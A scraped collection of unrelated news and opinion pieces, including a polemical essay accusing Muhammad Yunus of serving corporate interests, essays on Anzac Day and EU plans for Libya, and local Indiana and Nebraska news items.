Countercurrents, which appears prophetic, below to refresh our Yunus-memory: Nobel - Man's Un-Noble Corporate Nexus Dr. Muhammad Yunus, the self-proclaimed banker to the poor, has been awarded Nobel Peace Prize 2006 and following the announcement of the award mainstream media created an euphoria throughout in Bangladesh. The mainstream academia has also jumped on the bandwagon. The unrestrained wave of delight created by the mainstream of society representing the ruling class in the wake of Yunus' adornment with the coveted prize, has given it a ploy to camouflage its hollowness, intellectual shallowness and failure to govern the society it dominates. This ruling class is rotten to the core and morally and intellectually bankrupt. No wonder that in the era of neo-liberalism the opinion-makers and the dominant media, controlled by capital as they are, will be hyper-active to make people forget their woes and feel good. The award has provided a very good opportunity to them. The merriment-deluge washed away the sense of necessity that makes one analyze the significance of this world famous laurel which has been bestowed upon the founder-head of the Grameen Bank (GB).

Except a very few skeptics none will disagree that no other person has been adorned with so many awards and honorary degrees than Dr. Yunus, the teacher-turned-banker. The person advocating credit for the poor has so far won 68 awards, 28 honorary degrees and 15 felicitations from his motherland and other countries. Along with him the GB, his much acclaimed creation, has been awarded 8 national and international awards including Nobel Peace Prize 2006. These are, in a real sense, a recognition of his efforts to contain the poor in a way that helps to maintain the status quo and identify an effective alternative institutional method for profitable investment of finance capital. So, the mainstream policy-makers have come to recognize the merit of this method. The method devised by him has proved effective to all concerned ranging from the UN poverty-crusaders to the Citibank, from the promoters of technology-not-friendly-to-environment to the finance capital investors. These ground realities made it necessary for a wide range actors to construct a mythical image of Dr Yunus and in doing so there was an avalanche of awards, honors, etc., for him, an unending supply of chairs in the boards of 'independent' and 'not for profit' foundations floated and supported by multinational corporations (MNC). Reports with illusory images of his warm friendship with kings and queens and presidents and first ladies were circulated giving the impression of a fairy tale of friendship between a prince and a 'pauper-son'. The target for these image-bombardments was the psycho-world of the common people. The corporate controlled pundits, media and opinion-makers have 'illuminated' the psycho-world of common people with illusions and high pitched propaganda to drain people of their reasoning, the power of questioning and the capacity of digging out truth. Sometimes the power-owners appear successful, at least for the time being. Relying on his magnified image Dr. Yunus has successfully become a broker in the world of international finance capital, in the marketing of technology and in the mainstream political economy. (It should be mentioned that brokering, lobbying, etc. are recognized and dignified professions in the western world.) Muhammad Yunus has been and is being awarded repeatedly for efficiently acting as a broker on behalf of big corporations of the west and as a chain reaction one award has attracted another. No award is politics-, economics-, philosophy-, and ideology-neutral. While discussing an award it is worthwhile to take stock of the organizations or persons behind it, to whom it is awarded, and the reasons behind not awarding it to some other person than the one who has been tipped for it. Joseph Stalin was nominated for the Nobel Peace Prize but was not awarded it. Jean Paul Sartre, and in the near past, Arundhati Roy, the defiant voice, refused the Nobel Prize and Sahiyata Academy Award of India respectively. All these facts demand an analysis. Dr. Yunus was awarded the World Food Prize, known as the Alternative Nobel Prize, in 1994 and the prize is patronized by 74 organizations including the 'famous' US agri-business company Monsanto, Cargill and other US large soyabean and farm products exporting companies, the Agriculture Research Service of the US government, a number of financing companies and the 'famous' Coca-Cola. Yunus took initiative to float a joint venture company to market harmful agricultural technologies (genetically engineered seeds, Roundup herbicide, transgenic or genetically modified plant species) of Monsanto, a company despised in the west, in Bangladesh after being bestowed with the Alternative Nobel prize. Even US $150,000 was accepted by him to set up Grameen Monsanto Center for Environment-Friendly Technologies. This 'pious' act of brokering was initiated during the second micro credit summit. Monsanto in its zeal to send 'poverty' to a museum approached Dr. Yunus, would be curator of poverty museum, and he did not hesitate to collaborate. An adventure indeed! But he was later compelled to make a retreat with 'dignity' following a flurry of criticisms from different parts of the world by the environmentalists. However, the former university teacher offered no explanation to the members of the public, not even to his constituency -- the poor in Bangladesh. Probably highly innovative minds need not engage in 'petty' acts like offering public apology for making profit at the expense of the environment and food security of the country. Nor do the poor have the opportunity to map the minds that win friendship of MNCs and kings and queens. But a number of personalities and organizations should be acclaimed for compelling the Nobel-man retreat and they include Vandana Shiva, the philosopher and environment activist; late AZM Obaidullah, a famous Bangali poet; and Nayakrishi Andolon, a movement for ecology-friendly agriculture in Bangladesh. The now-futile venture of the microcredit evangelist is a stark example of harming the agriculture of his motherland, endangering food security, creating dependency, and all these mighty tasks were planned to be initiated by offering 'free' technology through microcredit, the 'panacea' for the poor. The myth of 'telephone ladies' has been created with the same tact. These 'simple' acts tell the intimate tales of the friendship between the poors banker and the mighty rulers, and help to explain reasons why the corporate owned media and the pundits, who are ideologically linked, are untiringly singing the same mantra, propaganda and gospel to build up the cult of the banker for the humble. An in-depth enquiry will show that many of the individuals and organizations engaged in this campaign are connected to each other through business and financial concerns. The link here is, also, finance and business. Just as the World Food Prize was related to the marketing of Monsanto-technology among the farmers of Bangladesh, the One World Broadcasting Trust Media Award (1988) and the World Technology Network Award (2003) from Britain, the Telecinco Award (2004) from Spain, connected to marketing of mobile phone, the Economist Innovation Award (2004) and the Leadership in Social Entrepreneurship Award (2004) from the US and many other awards were meant to expand corporate business interest. The German telephone giant Deutsh Telecom and the US software giant Microsoft are the patrons of the Petersberg Prize which was awarded to the Grameen Bank in 2004. Dr. Yunus has received the Seoul Peace Prize from Korea a few days after he had been awarded the Nobel Peace Prize. Before he left for Seoul and after his return from there he did not forget to advice the caretaker government, mainly responsible to organize national election during its 90 days tenure, to take a quick decision on opening the Korean Export Processing Zone (EPZ) in Bangladesh. It seems that formal functioning of the Korean EPZ is the top priority of the friend of the poor as MNCs have unrestrained liberty to plunder the natural resources of the country under the guise of foreign investment, as corruption, kick backs and absence of transparency is the norm in these deals, and as many people in this country about half-a dozen poor villagers shed their lives to safeguard the rights of people on the Fulbari coal mine in the northern Bangladesh; as the people of the country do not know the consequences of the agreements with companies like Asia Energy, which was awarded with the Fulbari coal mine on terms highly unfavorable to Bangladesh. It is interesting to note that though there are awards for those who can help the MNCs to maximize profit, there is none for advocacy work to create pressure and realize compensation for the irreparable loss of natural resources due to MNC operation. For example, there has been no award for anyone protesting against the damage done to gas and to bio-diversity by MNCs in the Magurchhara and the Tengratila gas fields, in north-eastern Bangladesh, which blew out due to their callous handling of the well-digging work. There has been no prize for advocacy work to safeguard people's rights and environment in the Fulbari coal mine and its surrounding areas, there is no patron to support lobbying work in Washington D.C. in favor of the female workers in the garments factories who need safer working condition so that no worker has to be killed in fire accidents in the factories. It is known to all that huge amounts of fund necessary for education and research in the universities in the west are often provided through grants, assistance, investments, etc. by many Foundations and Endowments set up by MNCs. Such donations obviously influence the activities of these universities. These financial supports influence, directly and indirectly, the ideology of the faculties, the boards of directors, the boards of regents, etc.; the decision-making process; curricula; and areas and subjects of research in the universities. The MNCs efficiently manipulate these bodies and process to advance their own interest. Awarding honorary degrees is an old tactic to build up someone's image or to polish someone's palm. There are precedents of awarding honorary degrees to despised and despotic rulers from different countries. Compared to those instances awarding Dr. Yunus scores of honorary degrees and awards seems to be 'small, innocent' act. However, there is a need to remain awake to the ramifications of such awards and honors instead of naively looking at them the as the 'recognition of a persons extraordinary contribution. Muhammad Yunus was selected as one of the ''25 most influential businessmen in the world in the last 25 years.'' Wharton School of Business made this selection in 2004 for a documentary made for the Public Broadcasting System (PBS), US. The rich and powerful tycoons in the list included Bill Gates, George Soros, Oprah Winfrey, Jeff Bezos, Richard Branson, Warren Buffertt, Michael Dell, Alan Greenspan, Lee Lacocca, Charles Schwab, Frederick Smith, and Sam Walton. The image of Dr. Yunus that has been built up gradually as a friend of the poor is, apparently, not in accordance with these rich people. Then, there comes the big question: what is the below-the-surface reason for his inclusion in this group of moneyed people? Is it a mere whim of a leading business school? But an analysis of the politico-economic factors brings forth a different answer: the efficient performance of Dr. Yunus as a new pathfinder for the investment of capital, as a broker and salesman of technology is the actual reason for his getting selected by the corporate circle as one of the 25 most influential businessperson in the last quarter century. The capacity of the Grameen Bank in this area is what has prompted the corporate circle to make its decision correctly. A few more examples will help to show the close deals between Muhammad Yunus and the corporate world. He is a member of the advisory body of the Stockholm Challenge, the global network of the entrepreneurs of information and communication technology. The other members of the board include the senior vice-president of the chief research and science office of the San Microsystems, one of the leading computer companies; the president and CEO of Ericson; a member of the European parliament; a leading entrepreneur of Russia, Western Europe and the US. This list is enough for anyone to understand that safeguarding corporate interest, instead of pushing back poverty to a history museum is the main objective of this corporate network. Dr. Yunus is co-president and a member of the advisory board of PlaNet Finance (PF), a French organization for financing microcredit programs. Sanofi-Aventis, a multinational pharmaceutical company, is one of the financing patrons of PF. Should anyone believe that Sanofi-Aventis and other multinationals are so eager to eliminate poverty from the face of the earth? One may pray that their eagerness should not be like that of Monsanto. If they are a bit less enthusiastic about poverty elimination, that would a favor to the poor. Dr. Yunus, as a member, adorns the advisory board of the Holcim Foundation, 'independent of business interest established and run by one of the biggest cement and construction material producers in this poverty-ridden world. The Swiss company's revenue in 2000 was US $ 8.2 billion. A look at the activities of the Rockfeller and Ford Foundations that have been criticized and condemned by many will help understand the reasons behind establishing such foundations and the type of activities they often carry out. Apart from the close connections and deals with the MNCs Dr. Yunus has an organizational structure to turn microcredit into a vehicle for the investment of capital and marketing of technology produced by the MNCs. The Grameen Bank acts as a brand name or a franchise. Microcredit programs, broadly designed after the Grameen model are now being run in more than 100 countries, in continents east and west, in the north and the south. While Bill Clinton initiated it in the US state of Arkansas, the Reserve Bank of India, 'inspired' with the neo-liberal ideology, has liberalized their rules so that the program can be introduced among the starving tea farm workers in north-eastern India and among the poor in south India. It is a single string tying all: finance capital, the idle-capital seeking interest. The Grameen Foundation USA (GFUSA) was established in 1997 to propagate and to expand the activities of interest seeking finance capital among the poor. Dr. Yunus is one of the founder-members and board members of this Foundation, a strategic partner of the GB. This Foundation has now spread out its credit net over 7 million breathing souls in 22 countries through 52 networks. This Foundation invests finance capital among the poor through its marketing of telephone, and through its window of microcredit which is financed by the capital market and commercial banks. It is closely connected with the Citibank, one of the largest financing organizations in the world. Along with Dr. Yunus, some former or present executives of Kane Property Company, GuideStar, Citibank, Microsoft, Citigroup, Calvert Funds and similar other large corporations and financing organizations are on the board of this Foundation. One can guess the power and brokering capacity of this Foundation from the fact that it is closely connected with the Clinton Global Initiative from the days of its inception. Former US president Clinton recommended Yunus for the Nobel award in 2005 for the second time though this move of Clinton went beyond all norms. Because Clinton was not empowered to make such a recommendation as Amartya Sen had been. While this act of recommendation was under way the GFUSA and Citibank joined hands as partner of the Clinton Initiative to jointly invest US $ 50 million and, if possible, $ 300 million, as microcredit. This Foundation has a special role in mobilizing capital, expanding GB-model micro credit all over the world, building up image of microcredit and its guru, and making public relations work. There is a similar type of power brokering house of Dr. Yunus in Australia to mobilize international power. Undoubtedly, Dr. Yunus has become a blue-eyed boy of the corporate world for his excellent performance and innovations in the field of investment and marketing of finance capital and technology among the poor through microcredit. The third world is not a risk-free area for investment. The defaulting industrialists in Bangladesh are a stark example of this. There are other relevant questions that need to be addressed before an investment is made. The risk of socio-political upheavals in the country in question, the carrying capacity of the economy, the market size, etc. demand serious attention. Dr. Yunus has a 'magic wand' that creates an ensured market, an ensured return, an almost full return of the capital, an instant return, and all these he has done with his 'panacea' -- microcredit. This is what makes him dear to the corporate world and the corporate world is paying him back with laurels, awards, honors, etc. and facilitating his job by building up a larger-than-life image of the salesman. Thus, the underfed, undernourished multitude is fed with the fairy tales of friendship between the 'banker to the poor' and the spellbound kings, queens, presidents and first ladies. The Nobel Peace Prize to Dr. Yunus has reaffirmed this fact only. P.S.: Patrick Bond (Director, Centre for Civil Society (South Africa) and author of Looting Africa: The Economics of Exploitation) reported in the South African daily The Mercury (Oct. 25, 2006): So why then did Norways Nobel committee give Yunus the award? Colleagues in Oslo point out to me that he was strongly supported by friends in the Norwegian elite, including a former top finance ministry bureaucrat and leading officials of the national phone company, Telenor, which owns 62% of lucrative GrameenPhone, a company in control of 60% of Bangladeshs cellphone market. Note:

1. Websites: Grameen Bank, GFUSA, World Food Prize, Clinton Initiatives, Holcim Foundation, PlaNet Finance, Monsanto, GAIA Foundation, Stockholm Challange, Nobel Prize, natural-law

2. British agriculturalist Mark Griffiths letter to Dr. Muhammad Yunus, (June 29, 1998)

3. Vandana Shivas E-mail to Dr. Muhammad Yunus, (July 4, 1998)

4. Briefings of Rural Advancement Foundation International (RAFI), Canada and USA

5. BBC report on termination of Grameen-Monsanto deal. July 27, 1998

6. Gene firm tightens grip on food chain by Louise Jury. The Independent (UK), 16.8.98

7. Unmasking the microcredit success lie by Patrick Bond. The Mercury (SA), 25.10.06

Omar Tarek Chowdhury, author, translator and social activist. E-mail: otc1960@gmail.com







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Anzac Day Memories: The Sullen Child Of History

By Dr. Binoy Kampmark

22 April, 2016

Countercurrents.org

Periodic vigilance will protect us against new generations of lords and masters who exploit national myths to lure us into enterprises born in timidity and corrosive mateship. - Andrew Hamilton, Eureka Street, May 6, 2015

Old countries have baggage so heavy it drags, stifles and even drowns. Incapable of getting it off, history becomes the assault of the present for those who wish to grope for the future. Young countries like Australia (youth here is only from the perspective of the invasive settlers), struggle to create a baggage to be bound to.

Comically, then, a state like Australia yearns to have a blood soaked, folly-driven set of variables that make it a state, when in actual fact, it might do something different. This might, in part, explain the foolish insistence on the part of its vassal politicians to crave the breast of maternal empire, terrified that being weaned off it might lead to yellow-coloured extinction.

The Anzac tradition is one of those desperate calls to cling on. It is an attempt to create a baggage of patriotic necessity, stubbornly masculine and oblivious. (Excuses are always needed for creating piles of corpses.) It is an attempt to catch up with other nations with centuries of assumed legacies and concocted contributions, be they flags brought down by divine inspiration, or the sign of the Chi-Rho, as Constantine was meant to have witnessed before the Battle of Milvian Ridge in 312. But little Australia (only in terms of population) must behave like the sullen child of history, hoping to be acknowledged in great patriotic traditions.

A glance at the historical incidents of the morning of April 25, 1915, and one sees an opportunistic force invading Gallipoli at the behest of Winston Churchill, then the First Lord of the Admiralty. As A. P. Rowe noted when Vice-Chancellor of Adelaide University during the 1950s, If you care to look at the newspapers of the time you will find that life in Australia had not been much affected by war (Australian Quarterly, Mar 1957).

Churchill had been boasting about his military imagination and intuition. I have it in me to be a successful soldier, he claimed with self-evident conviction. I can visualise great movements and combinations. Not quite what would transpire in the Dardanelles.

Even before the slaughter on that day began, Churchill was already aware that a good lot of bloodletting would be in store in his effort to put down the sick man of Europe. His combinations and movements would come with carnage. The price to be paid in taking Gallipoli would no doubt be heavy, but there would be no more war with Turkey. A good army of 50,000 and sea-power  that is the end of the Turkish menace.

Within a month of the landing by French, British and Australian and New Zealand forces (collectively known as Anzac), the Allies found themselves 45,000 men short. The campaign would last for nine months and see over a hundred thousand deaths, and casualty lists on both sides peaking at a quarter of a million.

Historical baggage is useful political ballast, the bird seed for demagogic intent. It feeds the apologetics of war, providing the alibi for the next righteous military action. Australian Prime Minister, John Howard, was a warring wet dreamer, a dull clerk who wished to be great. His desperation to attach Australian interests to the carriage of Washingtons folly should be a matter of criminal consequence.

Other features always find their message in the Anzac Spirit, sprung forth from Gallipoli. An industry of commemoration soon crept up, barely as the bodies were buried. The Veteran Affairs Department knows its sacred cow, and polices the branding of Anzac with an accountants dedication.

Australian servicemen and women, fighting in distant theatres without knowledge, awareness or understanding  this is the Gallipoli heritage, the inverted idea that being on foreign soil for pre-emptive gain is somehow a good idea. Australian resources have been deployed in what was then Malaya during the Emergency, on the Korean peninsula, secretly in Indonesia, Afghanistan, Iraq, with other theatres. All needing the oddly crafted Anzac image which, lets face it, was forged in the heat of invading a sovereign state.

Re-deployed again after September 2001, the invasion theme was embroidered with tortured notions of liberty and freedom. This was always pure nonsense. Australias involvement in such countries is as fatuous as the next western state. Its politicians, however, remain desperate to justify their complicity, their desperation in being in the stream of history.

The final point of all of this manufacture lies in the strange symbiotic relationship between Turkish contributions and Australian worship. On Turkish soil, distant from Australia, the countrys youth, the veterans, the relatives, will engage in a ceremony of acknowledgement to the slaughtered, those lives expended in an obscene chess move on the part of the Royal Admiralty. Mustafa Kemal Ataturk and his successors should receive posthumous Australian awards for having permitted the annual pilgrimage by tourist collectives of vowel-killing Australians.

The perverse logic of the Dardanelles engagement remains as an annual reminder, one that Churchill himself alluded to when reminded about the calamity on the election trail. Dont imagine I am running away from the Dardanelles. I glory in it.

Dr. Binoy Kampmark was a Commonwealth Scholar at Selwyn College, Cambridge. He lectures at RMIT University, Melbourne. Email: bkampmark@gmail.com








European Powers On Verge Of New Military Intervention In Libya

By Johannes Stern

22 April, 2016

WSWS.org

The European powers are exploiting the mass drownings in the Mediterranean Sea to expand their military engagement in the region and prepare a new intervention in Libya.

Concretely, the EU intends to expand its military mission in the Mediterranean and take action against refugees on the Libyan coast. This was agreed at a meeting of EU foreign and defence ministers on Monday in Luxembourg.

Austrian Foreign Minister Sebastian Kurz declared it was important that we are already active on the Libyan coast. His German counterpart, Frank-Walter Steinmeier (Social Democrats), declared, We currently have a mandate allowing us to combat the operations of smugglers and taking refugees from the Mediterranean, meaning emergency rescue at sea. That more in addition will be necessary, and even possible, goes without saying.

By expanding the EUNAVOR Med Sophia mission, which was officially agreed upon exactly a year ago, warships in the Mediterranean would be permitted to take action against smugglers in foreign territorial waters. To date, the operation was in its second phase merely in seas outside of Libyan sovereign waters and was aimed at stopping refugee boats and arresting alleged smugglers. According to EU diplomats, the expansion and extension of the naval operation will be agreed at the end of May or in early June.

In fact, under the guise of a struggle against criminal smugglers, much more comprehensive plans for a new military intervention in Libya are being discussed. The French delegation presented a strategy paper in Luxembourg according to which EU ships would be tasked with policing the weapons embargo imposed on Libya to prevent the supply of weapons to Islamist militias aligned with Islamic State in Libya, media reports said. Steinmeier proposed that the subject should be dealt with and reviewed in a further UN Security Council resolution.

The German foreign minister and his French counterpart Jean-Marc Ayrault also reported in Luxembourg on their brief meeting on Saturday in Tripoli with Fayez al-Sarraj, the prime minister of the imperialist-backed Libyan unity government. Ayrault described the visit as an extremely important stage and opined that the unity government now required the support of Libyans, the parliament and the international community. Steinmeier declared, We have to proceed with caution and attempt step-by-step to empower this government in Tripoli.

The EUs goal is to install the puppet Sarraj, who thus far only rules over a militarily secured green zone in Tripoli, and receive his agreement for a direct military intervention.

The Suddeutsche Zeitung wrote on the EU and Steinmeiers goals: Along with economic assistancethe EU has already offered a small package of 100 millionthe issue above all is how the unity government can be put in a position where it can extend its control beyond the capital city throughout the country, where militias rule and the terrorist organisation Islamic State (IS) is active. To strengthen the security forces, a civilian mission within the framework of the joint security and defence policy is being considered.

In truth, the plans go well beyond a civilian mission. In Luxembourg, the foreign and defence ministers decided to support the new unity government to rebuild security forces. Although Berlin proposed training these troops in Tunisia out of security considerations, the British government stated it would consider conducting training in Libya. In addition, British Defence Minister Michael Fallon called for the collaboration of NATO to train the coast guard.

Based on a military source, British media reported that Britain already has special forces present in Libya and was preparing for the arrival of regular army units in a matter of weeks. According to the Daily Star, the plans are robust and comprise Apache helicopters, warships, Tornados and Eurofighter jets based in Cyprus. British Prime Minister David Cameron had declared his support in principle for British units together with French, Italian and American troops marching into Tripoli to stabilise and secure the city.

Such a mission has long been secretly prepared. In mid-March, the Italian government, which has been pressing for a war in Libya for some time, confirmed similar plans. Italy was to lead a UN mission with up to 6,000 soldiers, which would be supported by air strikes from the Sicilian air bases of Trapani and Sigonella. Western agents and special forces have been in Libya for some time to train and arm militias, and armed drones have already been flying out of Sigonella.

The German government, which withheld its support in 2011 for the NATO bombardment of Libya, is also preparing a military intervention. Defence Minister Ursula Von der Leyen (Christian Democrats) made clear in January in reference to the installation of the unity government in Libya and the struggle against IS in Libya, Germany will not be able to evade its responsibility to make a contribution there. After the Luxembourg meeting, she stated that it was now decisive that Libya itself formulates the type of assistance it requires.

What the German government understands by assistance was made clear in an interview with Wolfgang Ischinger, the head of the Munich Security Conference (MSC), in Mondays edition of Die Welt. According to Ischinger, who for the first time last week held a core group meeting of the MSC in Africas capital Addis Ababa, Germany ought to have joined the Libya mission five years ago. The bombardment that destroyed the society, killed tens of thousands and turned millions into refugees, was not wrong, but necessary. However, they had forgotten to think about the day after and to use just as much energy to stabilise the country.

Ischinger gave free rein to his dream of a new and comprehensive German policy of colonial occupation. Africa was not a troop training ground and the military intervention could only be the first step. Steps two and three are much more important and difficult, because we have to use more resources for them. It requires people to take care of justice and the police, to maintain the administration and order, promote rebuilding and growth.

He added: The crises in Africa are the places where we can show that we have learnt from our mistakes. In particular that one requires comprehensive concepts for the overcoming of crises. And for that, one cannot take half measures.

Ischinger left no doubt about what he meant by this. Responding to a question from Die Welt on whether Europe would have to fight, he said: Who else? We can no longer rely on the US Sixth Fleet to regulate the problems for us. Obama has repeated that America is no longer running around with a fire extinguisher and providing security around the world. An emancipation of European security policy in the sense of a forward-looking and independent policy of crisis prevention and fighting to realise its own interests is therefore unavoidable.

A glance at the numerous foreign policy strategy papers prepared in Berlin in recent years reveals what these own interests are and on what traditions the German elite, which already fantasised about a hegemonic position in Africa under the Kaiser, is drawing.

Germanys entry into the new scramble for Africa has been planned for some time and is part of Germanys return to an aggressive imperialist foreign policy.

The Guidelines for an Africa policy adopted by the German government early in 2014, refer to the Growing relevance of Africa for Germany and Europe, which, among other things, arises out of the increasingly dynamic economy and the rich natural resources of the continent. Therefore, the German government intended to target the strengthening of Germanys engagement in Africa politically, in security policy and economic policy, act early, quickly, decisively and substantially, and deploy the entire range of available resources  across government departments.








In a surprise development, senior Congress leader from Punjab, Captain Amarinder Singh, who also happens to be deputy leader of the Congress' parliamentary party, has been denied permission to address Punjabi diaspora in two Canadian cities -- Toronto and Vancouver. Singh says he was informed about this by India's foreign secretary Dr S Jaishankar. Calling it a gag order, Singh has said in his letter to Canadian Prime Minister Justin Trudeau, "Your government has invoked the provisions of some Global Affairs Canada (GAC) policy that forbids foreign governments to conduct election campaigns in Canada or establish foreign political parties and movements in Canada".Ahead of the denial to allow him the interaction, the Sikhs for Justice (SFJ) reportedly tried to block Singh.A Toronto-based law firm, on behalf of the SFJ, sent a memorandum to foreign minister Stephane Dion, claiming Singhs visit would "violate" a 2011 circular which did not allow foreign governments to conduct election campaigns in Canada or establish foreign political parties or movements in Canada."I was scheduled to interact with the Punjabi diaspora living in the two cities, Singh says, adding, "Needless to say, it has come as a disappointment that someone representing the largest democracy in the world has been refused to reach out to, and interact with, his fellow Punjabis living in a respected democracy like Canada."Saying that the "gag order has left a very bad taste, more so when issued by a democratic government like the Canadian", Singh says it is "surprising and ironical that the refusal to allow him public interaction has come barely after few weeks of Trudeau's personal regret over the Komagata Maru tragedy (click HERE to read).Claiming he had no intention to carry election campaign, as there are no elections right now in Punjab, Singh says, he does not have "any plans to set up any political party or movement in Canada".Insisting that India "has already given" all such freedoms in letter and spirit, and "we really don't need to carry out any such activities anywhere outside", Singh says, "Our country extends such freedoms to others as well and we don't restrict it to our citizens alone as we believe that the freedom of expression is a universal right and should be respected by, and guaranteed to, one and all."Pointing out that he had planned to visit Canada to "interact with fellow Punjabis at personal level to learn about their experiences and seek their opinions", Singh says, "They, being the citizens of Canada, do not have any voting rights in India.""Hence", he adds, "there is no point in carrying out election campaign amongst them, and that too when there are no elections scheduled in Punjab right now or in immediate future."The letter reminds the Canadian Prime Minister that he had visited Canada in 2005 when he was the Chief Minister of Punjab and "addressed gatherings at Vancouver and Toronto, which were attended by the local premiers also."He further reminds Trudeau that during the last one year, several political leaders, including Prime Minister Narendra Modi and some opposition leaders visited Canada and they addressed public functions and nobody objected, Singh says, "I am surprised as why I have been singed out for this honour of being denied a similar permission."Insisting that the Canadian constitution under Section 2 guarantees fundamental freedoms which also include, freedom of expression, freedom of peaceful assembly and freedom of association, Singh tells Trudeau that the Canadian government's "gag order undermines these fundamental freedoms".
By less than five points on the Boone and Crockett Club scoring system, a bighorn sheep taken in Nebraska in December has been declared an official state record.

The ram was killed in December by hunter Terry Bogle of Lincoln on private land near Crawford in northwestern Nebraska. Bogle had won the permit to shoot the animal after a statewide lottery.

According to the Nebraska Game and Parks Commission, Bogle's bighorn netted 190 5/8 on the Boone scoring system for its horns. The rack topped that of a record set in 1998, when a bighorn measured 185 7/8 on the Boone scale.

The official score was made after a mandatory 60-day drying period. The Boone and Crockett Club score is estimated to climb to about 189 points, which would top the 185 7/8 score of a ram taken in 1998, the first year Nebraska held its lottery hunt.

Bogle won the permit in a lottery of 2,300 entries; he was one of two permits allowed, the other going to a New York woman who also harvested a ram in the Wildcat Hills area of Nebraska.

Bogle's ram, estimated to be 9 years old, is the offspring of bighorn sheep from Montana that were released in Nebraska as part of a bighorn reintroduction program in 2005. An estimated 360 bighorns now reside in the Pine Ridge area of Nebraska, the commission said.

To register for this year's Nebraska bighorn lottery, hunters can apply and pay a $25 entry fee by Aug. 5. Visit outdoornebraska.org or call 402-471-0641 for more information.
provided photo A historic photo from the laying of the cornerstone at Neu Chapel on the University of Evansville's campus in 1965.

SHARE provided photo University of Evansville Chaplain Tammy Gieselman and Hassan Taki Eddin before the dedication of the new Muslim Prayer Room on UE's campus. provided photo Construction of Neu Chapel in 1965. provided photo Hassan Taki Eddin and Basel Alhaj laugh during the dedication of the new Muslim Prayer Room on the University of Evansville's campus. provided photo Picture of Neu Chapel on the University of Evansville's campus.

By Sara Anne Corrigan

The University of Evansville has a long history of inclusivity when it comes to faiths, something University President Tom Kazee pointed out during the recent dedication of their new Muslim prayer room.

So it comes as no surprise that the campus is playing host to a two-day Festival of Faiths  April 30 and May 1  organized by UE Interfaith Initiatives.

This is the most recent in a long line of special public events the university has sponsored over the years, all dedicated to fostering tolerance, understanding and genuine affection among people of all faiths and backgrounds living in the Tri-State.

The 10 a.m. to 4 p.m. April 30 schedule of events includes a presentation by several religious communities in the Evansville area; a storybook time for children; opportunities to observe prayer rituals; informational booths and conversations with people who practice a variety of living world religions; opportunities to learn about religions different from your own; and samples of foods from different religious communities.

These events will all take place in Eykamp Hall of the Ridgway University Center. The activities are open to the public and free of charge.

May 1 will include an interfaith, inclusive prayer service in Neu Chapel at 7 p.m. observing the National Day of Prayer initiative.

Neu Chapel's history

Neu Chapel is a somewhat distinct stone structure nestled into and enfolded by surrounding university structures. Religious life on campus tends to revolve around and emanate from it.

It is named for Adam Neu, local businessman, member of the UE Board of Trustees during the 1950s and major donor for the chapel. It was built in the mid-1960s and dedicated in April 1966, said Tammy Gieselman, University chaplain. A 50th anniversary rededication ceremony was held there earlier this month.

UE is a church-related institution, affiliated with the United Methodist Church, said Karin Heineke, member of the Neu Chapel Society board of directors.

Evansville's newly planted Aldersgate United Methodist Church was the first organization to hold services there, she said.

There are four opportunities each week for students to attend Christian worship at Neu Chapel, Gieselman said.

Neu Chapel and indeed the campus as a whole is open to all religious organizations, including the Roman Catholic Newman Center, whose members continue to hold Mass at the chapel.

UE welcomed both Christian Fellowship Church and the Islamic Society of Evansville, whose congregations met on campus before either congregation had a home of its own, said Wayne Perkins, professor emeritus of religion at UE. Perkins arrived on campus while Neu Chapel was still under construction.

Neu Chapel is, in a very real sense, a "new" chapel. A chapel for the future  a future that the earliest visionaries, who established the college in Evansville in 1854, created the institution as a place of education for all people of all faiths and backgrounds, he said.

"We have never discriminated," Perkins said.

"It has been the most important religious center in this community for many years," he said. " For interfaith marriages  we've done hundreds and hundreds of them  and even funerals for non-Christians."

Kell Chapel, a small interfaith prayer room located inside the front door of Neu Chapel and open 24 hours a day, was opened in 2006, Gieselman said.

The recently dedicated Muslim prayer room was added this year.

UE has a vibrant interfaith community Gieselman said.

"About half of the students identify with a religious affiliation on their applications. Of those, more than 80 percent are Christian," she said. Other known religions represented on campus include Judaism, Islam, Hinduism, Buddhism and Baha'i, with Islam being the second largest religious group at UE.

UE recruits domestic and international students and is committed to welcoming students of all faiths or no faith. Currently, 48 countries are represented on campus.

"Our religious diversity is just one reason interfaith initiatives are so successful on campus," Gieselman said. "Given the political and religious climate in the public square these days, UE is ever more committed to religious diversity and interfaith dialogue to promote understanding and a more peaceful world."

Many people in Evansville and the Tri-State have a similar commitment to interfaith engagement, she said. And UE is proactive in their efforts. Some faith leaders have joined UE in this regard, working with the University's Interfaith Council and Executive Interfaith Partnership.

Interfaith leaders in the community have organized and worked on projects ranging from Interfaith Habitat builds to the "Laugh in Peace" comedy tour and most recently the "One God One Community" series both offered by First Presbyterian Church, Adath B'nai Israel Temple and the Islamic Society of Evansville, Gieselman said.

The upcoming Festival of Faiths is just the newest addition to this rich tradition.

"Our future is calling us," Kazee said. " Calling us to provide space for people of diverse religious backgrounds, to engage one another for greater understanding and to promote peace with justice in the world."
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By Susan Orr of the Courier and Press

With the stroke of a pen on Friday, Southwestern Indiana officials put the area closer to accessing $42 million in Regional Cities money.

The five members of the Southwest Indiana Regional Development Authority signed a contract with the Indiana Economic Development Corp.  a necessary step before the local group can get its hands on the Regional Cities money.

"This allows us to move ahead and begin to make the grants in the not-too-distant future," said Mike Schopmeyer, the regional development authority's attorney.

According to the terms of the contract, the IEDC will release money to the authority on a per-project basis, once claim forms have been submitted.

The authority will then release the money to the parties involved in that project.

Also per the contract, the authority must make quarterly and annual reports to the IEDC, submit to annual audits and provide documentation to the IEDC if requested.

In the event that Regional Cities money is spent improperly, the contract provides a clawback provision enabling the IEDC to recover that money.

The four-year contract runs through April 21, 2020.

"Beginning today, we are on a four-year time clock to implement our plan," said Southwest Indiana Regional Development Authority President Beth McFadin Higgins.

Regional Cities is a new state program that aims to increase Indiana's population by funding quality-of-life projects in selected regions of the state. Southwestern Indiana, the Fort Wayne and the South Bend areas are each in line to receive $42 million.

In Southwestern Indiana, Regional Cities money will help fund a dozen projects in Vanderburgh, Warrick, Posey and Gibson counties. Each of the projects will also include local public funding and/or private investment.

___

Regional Cities contract between the Indiana Economic Development Corp. and the Southwest Indiana Regional Development Authority (PDF)
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By Staff Report

The Evansville Vanderburgh School Corp. issued a statement Thursday evening saying it has suspended one of its employees.

The statement does not say who the employee is, what the employee does or why the employee has been suspended. It only says that an investigation is underway.

"The EVSC is currently investigating a situation involving one of our employees," begins a statement issued by Jason Woebkenberg, EVSC chief communication officer. "We have suspended the employee during this investigation. We are prohibited from discussing further, per state and federal law, personnel or student matters."

